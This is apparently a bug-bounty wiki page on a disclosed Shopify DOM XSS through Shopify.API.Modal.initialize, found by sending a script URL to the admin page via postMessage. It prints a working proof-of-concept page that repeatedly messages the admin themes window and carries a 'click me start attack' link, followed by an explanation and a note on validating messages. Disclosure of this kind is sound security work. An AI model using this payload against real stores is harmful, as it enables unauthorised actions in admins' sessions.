DOM XSS via Shopify.API.Modal.initialize
A DOM XSS via Shopify.API.Modal.initialize let an attacker run script in a store admin's session and perform unauthorised actions on embedded apps.
Originally disclosed on HackerOne
- Paid in 5 days
- Disclosed after 15 days
Similar #422043 & #576532
Payload ( Based on #576532):
<script>
function attack(){
const ctx = window.open(location.origin+'/admin/themes', '_blank')
const json = {
message: "Shopify.API.Modal.initialize",
data: {
src: ""
}
}
let interval;
interval = setInterval(function(){
if (window.attackSuccess) {
clearInterval(interval)
} else {
ctx.postMessage(JSON.stringify(json)) // data.src == ""
json.data.src = "javascript:alert(document.cookie)"
ctx.postMessage(JSON.stringify(json))
}
}, 500)
}
attack()
</script>
<a href="javascript:attack()" style="display:block;text-align:center;width:100%;height:300px;line-height:300px;background:#000;color:#fff;">click me start attack</a>
Impact
Perform unauthorized actions on a store admin on any embedded apps.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Victim is a logged-in store admin; victim clicks the attacker's link
How it was found
- Open the crafted page and click the link to start the attack.
- The page opens the admin themes page in a new window.
- It repeatedly sends a modal initialise message with an empty source, then a script URL.
- The admin page is sent a script URL in the modal message, which may run the attacker's code.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When one page opens another and sends it messages, the receiving page must check who sent the message and what it contains. Here the admin page trusted a message and used a link from it to load content, so a malicious page could slip in a script link. That let the attacker run their own code inside the admin's browser session.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.